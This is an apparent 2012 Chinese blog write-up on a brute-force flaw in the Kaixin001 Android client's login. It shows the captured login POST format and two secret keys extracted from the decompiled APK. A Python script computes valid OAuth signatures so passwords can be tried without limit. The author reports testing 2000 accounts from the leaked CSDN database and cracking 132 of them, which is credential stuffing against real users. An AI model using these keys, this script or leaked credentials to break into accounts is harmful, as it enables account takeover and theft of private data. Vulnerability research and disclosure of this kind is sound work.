分析开心网android客户端暴力破解漏洞

2012年11月5日，我对开心网android客户端做了简单的安全测试，发现其存在暴力破解漏洞。

在测试android应用之前，我们需要安装 Android SDK。

自己常用的几个抓包工具有：

1. winsock Expert    它非常小巧，但不能抓https

2. wireshark              让人叹服、强大的抓包分析工具，可用于逆向客户端协议，如QQ、迅雷

3. HttpWatch            可以抓https，推荐

4. MiniSniffer           小巧，但其无法智能地decode，常显示乱码

5. Chrome和FireFox的开发者工具    浏览器自带的开发者工具，对于分析web应用非常方便

前述到此。

 

自己胡乱输入账号，反复登录，发现并没有出现验证码或登录过于频繁的提示(说明可能存在暴力破解的问题)。

通过抓包分析，得到客户端登录时的POST请求为：

POST http://api.kaixin001.com/oauth/access_token

oauth_signature={HMAC-SHA1计算得到的签名}&x_auth_username={用户名}&x_auth_mode=client_auth&oauth_version=1.0&oauth_nonce={一个不重复的32位MD5}&oauth_signature_method=HMAC-SHA1&oauth_consumer_key={API Key}&ctype=15803AndroidClient&x_auth_password={明文密码}&oauth_timestamp={时间戳}

查看参数可以知道，计算签名才是最关键的工作。测试后又发现，签名是跟用户名相对应的。
只要用户名不变，对应的签名可一直反复使用，无论密码是什么。

利用这一点，攻击者已经可以暴力破解某个指定的帐号了。（如果他无法计算出签名，可以通过抓包来获取这个签名）

为了得到签名的计算方式，我尝试将这个apk文件反编译，得到了混淆过的java代码。

因为代码实在太乱，我自己平时也不写java程序，跟踪了几处后，还是放弃了。

但在这个过程中，我得到了两个Key：

public static String a = “87247717949570179fa41c43e20ed289”;

public static String b = “8207525c8aa35c89b29385057f5905c9”;

其中第一个为oauth_consumer_key，而第二个，是HMAC_SHA1计算使用的Key。

(才开始我只分析到第一个key是API Key，但对变量b的用途不清楚。)

在分析java源代码受挫后，我转向了 开心网的开放平台。

之前在java代码中存在的疑惑一一被解开。

特别是，我找到了一份“xAuth文档“，这也正是开心网android客户端所使用的认证方式！

http://wiki.open.kaixin001.com/index.php?id=xAuth%E6%96%87%E6%A1%A3

通过这个文档，我终于找到了一个可行的签名计算方法，参考python代码：

import sys 
import hmac, hashlib 
from urllib import urlencode, quote 

userName = sys.argv[1] 
passWord = sys.argv[2] 
oauth_nonce = sys.argv[3] 

base_string = 'POST&http://api.kaixin001.com/oauth/access_token' + \ 
'&oauth_consumer_key=87247717949570179fa41c43e20ed289' + \ 
'&oauth_nonce=' + oauth_nonce + \ 
'&oauth_signature_method=HMAC-SHA1' + \ 
'&oauth_timestamp=1351860016' + \ 
'&oauth_version=1.0&scope=user_rgroup&x_auth_mode=client_auth' + \ 
'&x_auth_password=' + passWord + '&x_auth_username=' + userName 

base_string = quote(base_string) 
h = hmac.new('8207525c8aa35c89b29385057f5905c9', base_string, hashlib.sha1) 
s = h.digest() 
signature = s.encode('base64').rstrip() 

因为此处时间戳没起作用，hard code即可。

运行时候，传入三个参数，分别是用户名、密码、随机MD5(参数oauth_nonce)

即可得到对应的signature值，使用它，就可以进行登录测试了！

 

最后，使用泄露的CSDN 600万帐号进行测试，测试2000个帐号，成功破解出132个。